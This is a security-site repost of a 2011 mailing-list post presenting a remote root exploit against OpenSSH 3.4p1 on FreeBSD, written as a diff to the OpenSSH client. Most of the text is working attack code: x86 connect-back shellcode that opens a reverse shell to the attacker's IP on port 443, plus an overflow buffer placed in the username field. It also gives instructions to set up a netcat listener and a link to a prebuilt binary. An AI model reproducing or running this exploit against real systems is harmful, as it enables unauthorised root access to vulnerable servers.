首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenSSH 3.4p1 FreeBSD Remote Root Exploit
来源:http://secunia.com/ 作者:Kingcope 发布时间:2011-07-04  
OpenSSH FreeBSD Remote Root Exploit
By Kingcope
Year 2011

Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702
Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924
run like ./ssh -1 -z <yourip> <target>
setup a netcat, port 443 on yourip first

a statically linked linux binary of the exploit can be found below
attached is a diff to openssh-5.8p2.

the statically linked binary can be downloaded from
http://isowarez.de/ssh_0day

I know these versions are really old, some seem to run
that tough.

-Cheers, King "the archaeologist" Cope

diff openssh-5.8p2/ssh.c openssh-5.8p2_2/ssh.c
149a150
> char *myip;
195a197,203
> "OpenSSH FreeBSD Remote Root Exploit\n"
> "By Kingcope\n"
> "Year 2011\n\n"
> "Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702\n"
> "Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924\n"
> "run like ./ssh -1 -z <yourip> <target>\n"
> "setup a netcat, port 443 on yourip first\n\n"
299c307
<       while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"
---
>       while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:z:p:qstvx"
335a344,346
>                       break;
>               case 'z':
>                       myip = optarg;
diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668,719
> //IP=\xc0\xa8\x20\x80
> #define       IPADDR  "\xc0\xa8\x20\x80"
> #define PORT  "\x27\x10"              /* htons(10000) */
>
> char sc[] =
>    "\x90\x90"
>    "\x90\x90"
>    "\x31\xc9"                 // xor    ecx, ecx
>    "\xf7\xe1"                 // mul    ecx
>    "\x51"                     // push   ecx
>    "\x41"                     // inc    ecx
>    "\x51"                     // push   ecx
>    "\x41"                     // inc    ecx
>    "\x51"                     // push   ecx
>    "\x51"                     // push   ecx
>    "\xb0\x61"                 // mov    al, 97
>    "\xcd\x80"                 // int    80h
>    "\x89\xc3"                 // mov    ebx, eax
>    "\x68"IPADDR                       // push   dword 0101017fh
>    "\x66\x68"PORT             // push   word 4135
>    "\x66\x51"                 // push   cx
>    "\x89\xe6"                 // mov    esi, esp
>    "\xb2\x10"                 // mov    dl, 16
>    "\x52"                     // push   edx
>    "\x56"                     // push   esi
>    "\x50"                     // push   eax
>    "\x50"                     // push   eax
>    "\xb0\x62"                 // mov    al, 98
>    "\xcd\x80"                 // int    80h
>    "\x41"                     // inc    ecx
>    "\xb0\x5a"                 // mov    al, 90
>    "\x49"                     // dec    ecx
>    "\x51"                     // push   ecx
>    "\x53"                     // push   ebx
>    "\x53"                     // push   ebx
>    "\xcd\x80"                 // int    80h
>    "\x41"                     // inc    ecx
>    "\xe2\xf5"                 // loop   -10
>    "\x51"                     // push   ecx
>    "\x68\x2f\x2f\x73\x68"     // push   dword 68732f2fh
>    "\x68\x2f\x62\x69\x6e"     // push   dword 6e69622fh
>    "\x89\xe3"                 // mov    ebx, esp
>    "\x51"                     // push   ecx
>    "\x54"                     // push   esp
>    "\x53"                     // push   ebx
>    "\x53"                     // push   ebx
>    "\xb0\xc4\x34\xff"
>    "\xcd\x80";                // int    80h
>
>
> extern char *myip;
>
678a731,748
>
>       char buffer[100000];
>
>       printf("OpenSSH Remote Root Exploit\n");
>       printf("By Kingcope\n");
>       printf("Year 2011\n\n");
>       printf("Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702\n");
>       printf("Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924\n");
>       printf("Connect back to: %s:443\n", myip);
>
>       *((unsigned long*)(sc + 21)) = inet_addr(myip);
>       *((unsigned short*)(sc + 27)) = htons(443);
>
>       memset(buffer, 'V', 8096);
>       memcpy(buffer+24, "\x6b\x4b\x0c\x08", 4); // SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702
>       memset(buffer+28, '\x90', 65535);
>       memcpy(buffer+28+65535, sc, sizeof(sc));
>       server_user=buffer;

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·NetBSD 5.1 libc/net Stack Buff
·VUPlayer 2.49 Stack Buffer Ove
·HP Data Protector 6.11 Remote
·Rhythmbox (.m3u) Local Crash P
·Microsoft IIS FTP Server <= 7.
·OpenSSH 3.5p1 Remote Root Expl
·HP OmniInet.exe Opcode 27 Buff
·Kaillera Multiple Clients Buff
·Donar Player 2.8.0 Denial of S
·HP Data Protector 6.20 EXEC_CM
·MS Office 2010 RTF Header Stac
·Multiple vulnerabilities in HP
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved